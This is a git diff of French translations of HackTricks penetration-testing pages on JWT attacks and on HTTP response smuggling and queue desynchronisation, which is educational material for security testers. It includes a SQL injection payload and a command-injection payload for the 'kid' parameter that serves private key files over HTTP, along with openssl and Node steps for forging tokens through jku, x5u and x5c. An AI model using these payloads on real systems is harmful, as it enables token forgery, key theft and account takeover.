Dans un scénario où le contenu du "kid" est utilisé pour récupérer le mot de passe de la base de données, vous pourriez modifier le contenu à l'intérieur du paramètre "kid" pour : `non-existent-index' UNION SELECT 'ATTACKER';-- -` et ensuite signer le JWT avec la clé secrète `ATTACKER`.
|
||||
|
||||
#### Problèmes avec "kid" - Injection OS
|
||||
#### Problèmes de "kid" - Injection OS
|
||||
|
||||
Dans un scénario où le paramètre "kid" contient un chemin vers le fichier avec la clé et que ce chemin est utilisé **dans une commande exécutée**, vous pourriez être en mesure d'obtenir une RCE et d'exposer la clé privée avec une charge utile comme celle-ci: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
Dans un scénario où le paramètre "kid" contient un chemin vers le fichier avec la clé et que ce chemin est utilisé **à l'intérieur d'une commande exécutée**, vous pourriez être capable d'obtenir une exécution de commande à distance (RCE) et exposer la clé privée avec une charge utile comme la suivante : `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### Attaques diverses
|
||||
|
||||
|
@ -124,32 +126,32 @@ Les faiblesses suivantes sont connues et doivent être testées.
|
|||
|
||||
**Attaques de relais entre services**
|
||||
|
||||
Certaines applications web utilisent un JWT "service" de confiance pour générer et gérer les jetons pour elles. Dans le passé, il est arrivé que le jeton généré pour l'un des clients du service JWT puisse être accepté par un autre client du service JWT.\
|
||||
Si vous observez le JWT émis ou renouvelé via un service tiers, il vaut la peine de vérifier si vous pouvez vous inscrire sur un autre client de ce service avec le même nom d'utilisateur/adresse e-mail. Si c'est le cas, essayez de prendre ce jeton et de le rejouer dans une requête vers votre cible. Est-il accepté ?
|
||||
Certaines applications web utilisent un service JWT ‘de confiance’ pour générer et gérer les jetons pour eux. Dans le passé, il est arrivé que des jetons générés pour l'un des clients du service JWT puissent en fait être acceptés par un autre des clients du service JWT.\
|
||||
Si vous observez que le JWT est émis ou renouvelé via un service tiers, il est utile d'identifier si vous pouvez vous inscrire sur un autre des clients de ce service avec le même nom d'utilisateur/email. Si c'est le cas, essayez de reprendre ce jeton et de le rejouer dans une requête à votre cible. Est-il accepté ?
|
||||
|
||||
* Si votre jeton est accepté, vous pourriez avoir un problème critique vous permettant de falsifier le compte de n'importe quel utilisateur. CEPENDANT, veuillez noter que si vous vous inscrivez sur une application tierce, vous devrez peut-être demander l'autorisation d'effectuer des tests plus larges au cas où cela entrerait dans une zone grise légale !
|
||||
* Si votre jeton est accepté, vous pourriez avoir un problème critique vous permettant de vous faire passer pour le compte de n'importe quel utilisateur. CEPENDANT, soyez conscient que si vous vous inscrivez sur une application tierce, vous devrez peut-être demander la permission pour des autorisations de test plus larges au cas où cela entrerait dans une zone grise légale !
|
||||
|
||||
**Est-ce que "exp" est vérifié ?**
|
||||
**Le "exp" est-il vérifié ?**
|
||||
|
||||
La revendication de charge utile "exp" est utilisée pour vérifier l'expiration d'un jeton. Comme les JWT sont souvent utilisés en l'absence d'informations de session, ils doivent être manipulés avec précaution - dans de nombreux cas, la capture et la relecture du JWT de quelqu'un d'autre vous permettront de vous faire passer pour cet utilisateur.\
|
||||
Une atténuation contre les attaques de relecture de JWT (conseillée par le JWT RFC) consiste à utiliser la revendication "exp" pour définir une heure d'expiration pour le jeton. Il est également important de mettre en place les vérifications appropriées dans l'application pour s'assurer que cette valeur est traitée et que le jeton est rejeté s'il est expiré. Si le jeton contient une revendication "exp" et que les limites de temps de test le permettent, essayez de stocker le jeton et de le rejouer après que le délai d'expiration soit passé. _Utilisez l'option -R de jwt\_tool pour lire le contenu du jeton, ce qui inclut l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC)_
|
||||
La revendication "exp" du Payload est utilisée pour vérifier l'expiration d'un jeton. Comme les JWT sont souvent utilisés en l'absence d'informations de session, ils doivent être manipulés avec soin - dans de nombreux cas, capturer et rejouer le JWT de quelqu'un d'autre vous permettra de vous faire passer pour cet utilisateur.\
|
||||
Une atténuation contre les attaques de replay JWT (qui est conseillée par le RFC JWT) est d'utiliser la revendication "exp" pour définir un temps d'expiration pour le jeton. Il est également important de mettre en place les vérifications pertinentes dans l'application pour s'assurer que cette valeur est traitée et que le jeton est rejeté lorsqu'il est expiré. Si le jeton contient une revendication "exp" et que le temps de test le permet - essayez de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. _Utilisez le drapeau -R de jwt\_tool pour lire le contenu du jeton, qui comprend l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC)_
|
||||
|
||||
* Si le jeton est toujours validé dans l'application, cela peut constituer un risque de sécurité car le jeton peut NE JAMAIS expirer.
|
||||
* Si le jeton est toujours validé dans l'application, cela peut être un risque de sécurité car le jeton peut NE JAMAIS expirer.
|
||||
|
||||
### x5u et jku
|
||||
|
||||
#### jku
|
||||
|
||||
jku signifie **URL de jeu de clés JWK**.\
|
||||
Si le jeton utilise une revendication "**jku**" dans l'en-tête, **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui contient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web pour lequel vous pouvez surveiller le trafic.
|
||||
jku signifie **JWK Set URL**.\
|
||||
Si le jeton utilise une revendication d'**En-tête** "jku", alors **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Altérez le jeton pour que la valeur jku pointe vers un service web que vous pouvez surveiller pour le trafic.
|
||||
|
||||
Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.
|
||||
D'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre jku vers le certificat créé.** Pour créer un certificat jku valide, vous pouvez télécharger l'original et modifier les paramètres nécessaires.
|
||||
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec **les clés publiques et privées créées et en indiquant le paramètre jku vers le certificat créé.** Pour créer un certificat jku valide, vous pouvez télécharger l'original et changer les paramètres nécessaires.
|
||||
|
||||
Vous pouvez obtenir les paramètres "e" et "n" à partir d'un certificat public en utilisant :
|
||||
```bash
|
||||
|
@ -162,20 +164,20 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
URL X.509. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés au format PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. La sécurité du transport est nécessaire pour transférer les certificats.
|
||||
URL X.509. Une URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés au format PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. La sécurité du transport est requise pour transférer les certificats.
|
||||
|
||||
Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**.
|
||||
Essayez de **changer cet en-tête en une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**.
|
||||
|
||||
Pour falsifier un nouveau jeton en utilisant un certificat contrôlé par vous, vous devez créer le certificat et extraire les clés publique et privée :
|
||||
Pour forger un nouveau jeton en utilisant un certificat que vous contrôlez, vous devez créer le certificat et extraire les clés publiques et privées :
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé**.
|
||||
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec **les clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé.**
|
||||
|
||||
![](<../.gitbook/assets/image (439).png>)
|
||||
|
||||
Vous pouvez également exploiter ces deux vulnérabilités **pour les SSRF**.
|
||||
Vous pouvez également exploiter ces deux vulnérabilités **pour des SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -183,18 +185,18 @@ Ce paramètre peut contenir le **certificat en base64** :
|
|||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
Si l'attaquant **génère un certificat auto-signé** et crée un jeton falsifié en utilisant la clé privée correspondante, puis remplace la valeur du paramètre "x5c" par le certificat nouvellement généré et modifie les autres paramètres, à savoir n, e et x5t, alors essentiellement le jeton falsifié serait accepté par le serveur.
|
||||
Si l'attaquant **génère un certificat auto-signé** et crée un token falsifié en utilisant la clé privée correspondante et remplace la valeur du paramètre "x5c" par le certificat nouvellement généré et modifie les autres paramètres, à savoir n, e et x5t, alors essentiellement le token falsifié serait accepté par le serveur.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
### Clé publique intégrée (CVE-2018-0114)
|
||||
|
||||
Si le JWT a intégré une clé publique comme dans le scénario suivant:
|
||||
Si le JWT intègre une clé publique comme dans le scénario suivant :
|
||||
|
||||
![](<../.gitbook/assets/image (438).png>)
|
||||
|
||||
En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données:
|
||||
En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données :
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -204,29 +206,13 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique dans le jeton et de l'utiliser pour générer une nouvelle signature :
|
||||
Il est possible de générer une nouvelle paire de clés privée/publique, d'intégrer la nouvelle clé publique dans le jeton et de l'utiliser pour générer une nouvelle signature :
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Vous pouvez obtenir les valeurs "n" et "e" en utilisant ce script nodejs :
|
||||
|
||||
```javascript
|
||||
const jwt = require('jsonwebtoken');
|
||||
|
||||
const token = 'YOUR_JWT_TOKEN_HERE';
|
||||
|
||||
const decodedToken = jwt.decode(token, { complete: true });
|
||||
|
||||
const n = decodedToken.header.n;
|
||||
const e = decodedToken.header.e;
|
||||
|
||||
console.log('n:', n);
|
||||
console.log('e:', e);
|
||||
```
|
||||
|
||||
Assurez-vous de remplacer "YOUR_JWT_TOKEN_HERE" par votre propre jeton JWT.
|
||||
Vous pouvez obtenir "n" et "e" en utilisant ce script nodejs :
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -236,12 +222,10 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
En utilisant la clé publique et privée ainsi que les nouvelles valeurs "n" et "e", vous pouvez utiliser [jwt.io](https://jwt.io) pour créer un nouveau JWT valide avec n'importe quelle information.
|
||||
### JTI (Identifiant JWT)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher la relecture du jeton.\
|
||||
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (en ayant besoin d'envoyer 10000 requêtes entre chaque rejouement réussi).
|
||||
Le champ JTI (Identifiant JWT) fournit un identifiant unique pour un Token JWT. Il peut être utilisé pour empêcher la réutilisation du token.\
|
||||
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant d'envoyer 10000 requêtes entre chaque rejouement réussi).
|
||||
|
||||
### Revendications enregistrées JWT
|
||||
|
||||
|
@ -252,18 +236,20 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000
|
|||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Astuce pour les primes de bugs** : **inscrivez-vous** à **Intigriti**, une plateforme premium de **primes de bugs créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Astuce pour les chasses aux bugs**: **inscrivez-vous** sur **Intigriti**, une plateforme de chasse aux bugs premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,57 +2,158 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Désynchronisation de la file d'attente de requêtes HTTP
|
||||
## Désynchronisation de la file d'attente des requêtes HTTP
|
||||
|
||||
Tout d'abord, cette technique **exploite une vulnérabilité de Smuggling de requêtes HTTP**, vous devez donc savoir ce que c'est :
|
||||
Tout d'abord, cette technique **exploite une vulnérabilité de HTTP Request Smuggling**, donc vous devez savoir ce que c'est :
|
||||
|
||||
La **principale** **différence** entre cette technique et un Smuggling de requêtes HTTP commun est que **au lieu d'attaquer la requête de la victime en y ajoutant un préfixe**, nous allons **fuir ou modifier la réponse que la victime reçoit**. Cela se fait en envoyant non pas 1 requête et demi pour exploiter le Smuggling de requêtes HTTP, mais **en envoyant 2 requêtes complètes pour désynchroniser la file d'attente des réponses des proxies**.
|
||||
La **principale différence** entre cette technique et un HTTP Request Smuggling classique est qu'**au lieu** d'**attaquer** la **requête** de la **victime en ajoutant un préfixe**, nous allons **fuir ou modifier la réponse que la victime reçoit**. Cela se fait en envoyant **2 requêtes complètes pour désynchroniser la file d'attente des réponses des proxies**.
|
||||
|
||||
Cela est dû au fait que nous allons être en mesure de **désynchroniser la file d'attente de réponse** afin que la **réponse** de la **requête légitime** de la **victime soit envoyée à l'attaquant**, ou en **injectant un contenu contrôlé par l'attaquant dans la réponse à la victime**.
|
||||
Cela permet de **désynchroniser la file d'attente des réponses** afin que la **réponse** de la **requête légitime** de la **victime soit envoyée à l'attaquant**, ou en **injectant un contenu contrôlé par l'attaquant dans la réponse à la victime**.
|
||||
|
||||
### Désynchronisation de la file d'attente de pipeline HTTP
|
||||
### Désynchronisation de pipeline HTTP
|
||||
|
||||
HTTP/1.1 permet de demander **différentes ressources sans avoir besoin d'attendre les précédentes**. Par conséquent, s'il y a un **proxy** au **milieu**, c'est le rôle des proxies de **maintenir une correspondance synchronisée des requêtes envoyées au backend et des réponses qui en proviennent**.
|
||||
HTTP/1.1 permet de demander **différentes ressources sans avoir à attendre les précédentes**. Par conséquent, s'il y a un **proxy** au **milieu**, c'est la tâche du proxy de **maintenir une correspondance synchronisée des requêtes envoyées au backend et des réponses provenant de celui-ci**.
|
||||
|
||||
Cependant, il y a un problème de désynchronisation de la file d'attente des réponses. Si un attaquant envoie une attaque de Smuggling de réponse HTTP et que les réponses à la **requête initiale et à celle contrebandée sont répondues immédiatement**, la réponse contrebandée ne sera pas insérée dans la file d'attente de la réponse de la victime, mais sera simplement **rejetée comme une erreur**.
|
||||
Cependant, il y a un problème pour désynchroniser la file d'attente des réponses. Si un attaquant envoie une attaque de HTTP Response Smuggling et que les réponses à la **requête initiale et à la requête introduite sont immédiatement répondues**, la réponse introduite ne sera pas insérée dans la file d'attente de la réponse de la victime mais sera **simplement écartée comme une erreur**.
|
||||
|
||||
![](<../.gitbook/assets/image (635) (1) (1) (1).png>)
|
||||
|
||||
Par conséquent, il est nécessaire que la **requête contrebandée prenne plus de temps à être traitée** à l'intérieur du serveur back-end. Par conséquent, au moment où la requête contrebandée est traitée, la communication avec l'attaquant sera terminée.
|
||||
Il est donc nécessaire que la **requête introduite** **prenne plus de temps à être traitée** à l'intérieur du serveur backend. Ainsi, lorsque la requête introduite est traitée, la communication avec l'attaquant sera terminée.
|
||||
|
||||
Si dans cette situation spécifique une **victime a envoyé une requête** et que la **requête contrebandée est répondue avant** la requête légitime, la **réponse contrebandée sera envoyée à la victime**. Par conséquent, l'attaquant **contrôlera la requête "effectuée" par la victime**.
|
||||
Si dans cette situation spécifique une **victime a envoyé une requête** et que la **réponse à la requête introduite est donnée avant** la requête légitime, la **réponse introduite sera envoyée à la victime**. Par conséquent, l'attaquant **contrôlera la requête "effectuée" par la victime**.
|
||||
|
||||
De plus, si l'attaquant effectue ensuite une requête et que la réponse légitime à la requête de la victime est répondue avant la requête de l'attaquant. La **réponse à la victime sera envoyée à l'attaquant**, **volant** la réponse à la victime (qui peut contenir par exemple l'en-tête **Set-Cookie**).
|
||||
De plus, si l'**attaquant effectue ensuite une requête** et que la **réponse légitime** à la **requête de la victime** est **répondue** **avant** la requête de l'attaquant. La **réponse à la victime va être envoyée à l'attaquant**, **volant** la réponse destinée à la victime (qui peut contenir par exemple l'en-tête **Set-Cookie**).
|
||||
|
||||
![](<../.gitbook/assets/image (658) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (655) (1) (1) (1).png>)
|
||||
|
||||
### Multiples injections imbriquées
|
||||
### Injections multiples imbriquées
|
||||
|
||||
Une **autre différence intéressante** avec le HTTP Request Smuggling classique est que, dans une attaque de smuggling classique, l'**objectif** est de **modifier le début de la requête de la victime** pour qu'elle effectue une action inattendue. Dans une **attaque de HTTP Response Smuggling**, comme vous **envoyez des requêtes complètes**, vous pouvez **injecter dans une seule charge utile des dizaines de réponses** qui vont **désynchroniser des dizaines d'utilisateurs** qui vont **recevoir** les **réponses injectées**.
|
||||
|
||||
En plus de pouvoir **distribuer plus facilement des dizaines d'exploits** parmi les utilisateurs légitimes, cela pourrait également être utilisé pour provoquer un **DoS** sur le serveur.
|
||||
|
||||
### Organisation de l'exploit
|
||||
|
||||
Comme expliqué précédemment, pour abuser de cette technique, il est nécessaire que le **premier message introduit** dans le serveur **nécessite beaucoup de temps pour être traité**.
|
||||
|
||||
Cette **requête chronophage est suffisante** si nous voulons juste **essayer de voler la réponse de la victime.** Mais si vous voulez réaliser un exploit plus complexe, voici une structure commune pour l'exploit.
|
||||
|
||||
Tout d'abord la **requête initiale** abusant du **HTTP Request Smuggling**, puis la **requête chronophage** et ensuite **1 ou plusieurs requêtes de charge utile** dont les réponses seront envoyées aux victimes.
|
||||
|
||||
## Exploitation de la désynchronisation de la file d'attente des réponses HTTP
|
||||
|
||||
### Capturer les requêtes d'autres utilisateurs <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Comme avec les charges utiles connues de HTTP Request Smuggling, vous pouvez **voler la requête de la victime** avec une différence importante : dans ce cas, vous avez juste besoin d'**envoyer du contenu pour qu'il soit reflété dans la réponse**, **aucun stockage persistant** n'est nécessaire.
|
||||
|
||||
D'abord, l'attaquant envoie une charge utile contenant une **requête POST finale avec le paramètre reflété** à la fin et une grande Content-Length
|
||||
|
||||
![](<../.gitbook/assets/image (625).png>)
|
||||
|
||||
Ensuite, une fois la **requête initiale** (bleue) **traitée** et **pendant** que celle **endormie** est en cours de traitement (jaune), la **prochaine requête qui arrive d'une victime** va être **ajoutée dans la file d'attente juste après le paramètre reflété** :
|
||||
|
||||
![](<../.gitbook/assets/image (634) (1).png>)
|
||||
|
||||
Ensuite, la **victime** **recevra** la **réponse à la requête endormie** et si entre-temps l'**attaquant** **envoie** **une autre** **requête**, la **réponse du contenu reflété sera envoyée à lui**.
|
||||
|
||||
## Désynchronisation des réponses
|
||||
|
||||
Jusqu'à présent, nous avons appris à exploiter les attaques de HTTP Request Smuggling pour **contrôler** la **requête** **dont** la **réponse** va être **reçue** par un **client** et comment vous pouvez ensuite **voler la réponse qui était destinée à la victime**.
|
||||
|
||||
Mais il est encore possible de **désynchroniser encore plus** les réponses.
|
||||
|
||||
Il existe des requêtes intéressantes comme la requête **HEAD** qui sont spécifiées pour ne pas avoir **de contenu à l'intérieur du corps des réponses** et qui doivent (doivent) **contenir le Content-Length** de la requête comme **si c'était une requête GET**.
|
||||
|
||||
Par conséquent, si un attaquant **injecte** une **requête HEAD**, comme dans ces images :
|
||||
|
||||
![](<../.gitbook/assets/image (626).png>)
|
||||
|
||||
Ensuite, **une fois que la bleue est répondue à l'attaquant**, la prochaine requête de la victime va être introduite dans la file d'attente :
|
||||
|
||||
![](<../.gitbook/assets/image (651) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
Ensuite, la **victime** **recevra** la **réponse** de la **requête HEAD**, qui va **contenir un Content-Length mais pas de contenu du tout**. Par conséquent, le proxy **n'enverra pas cette réponse** à la victime, mais **attendra** un **contenu**, qui en réalité va être **la réponse à la requête jaune** (également injectée par l'attaquant) :
|
||||
|
||||
![](<../.gitbook/assets/image (627) (1).png>)
|
||||
|
||||
### Confusion de contenu
|
||||
|
||||
Suivant l'exemple précédent, sachant que vous pouvez **contrôler le corps** de la requête dont la réponse va être reçue par la victime et qu'une **réponse HEAD** contient habituellement dans ses en-têtes le **Content-Type et le Content-Length**, vous pouvez **envoyer une requête comme la suivante** pour **provoquer un XSS** chez la victime sans que la page soit vulnérable au XSS :
|
||||
|
||||
![](<../.gitbook/assets/image (654) (1) (1) (1) (1).png>)
|
||||
|
||||
### Empoisonnement du cache
|
||||
|
||||
En abusant de l'attaque de désynchronisation de réponse et de confusion de contenu précédemment commentée, **si le cache stocke la réponse à la requête effectuée par la victime et que cette réponse est une réponse injectée provoquant un XSS, alors le cache est empoisonné**.
|
||||
|
||||
Requête malveillante contenant la charge utile XSS :
|
||||
|
||||
![](<../.gitbook/assets/image (644) (1).png>)
|
||||
|
||||
Réponse malveillante à la victime qui contient l'en-tête indiquant au cache de stocker la réponse :
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que dans ce cas, si le **"victime" est l'attaquant**, il peut maintenant effectuer **l'empoisonnement du cache sur des URL arbitraires** car il peut **contrôler l'URL qui va être mise en cache** avec la réponse malveillante.
|
||||
{% endhint %}
|
||||
|
||||
### Tromperie du cache Web
|
||||
|
||||
Cette attaque est similaire à la précédente, mais **au lieu d'injecter une charge utile dans le cache, l'attaquant va mettre en cache des informations de la victime à l'intérieur du cache** :
|
||||
|
||||
![](<../.gitbook/assets/image (643) (1) (1).png>)
|
||||
|
||||
### Séparation de réponse
|
||||
|
||||
L'**objectif** de cette attaque est d'abuser à nouveau de la **désynchronisation des réponses** afin de **faire envoyer par le proxy une réponse générée à 100% par l'attaquant**.
|
||||
|
||||
Pour y parvenir, l'attaquant doit trouver un point de terminaison de l'application web qui **reflète certaines valeurs à l'intérieur de la réponse** et **connaître la longueur du contenu de la réponse HEAD**.
|
||||
|
||||
Il enverra un **exploit** comme :
|
||||
|
||||
![](<../.gitbook/assets/image (649) (1) (1) (1).png>)
|
||||
|
||||
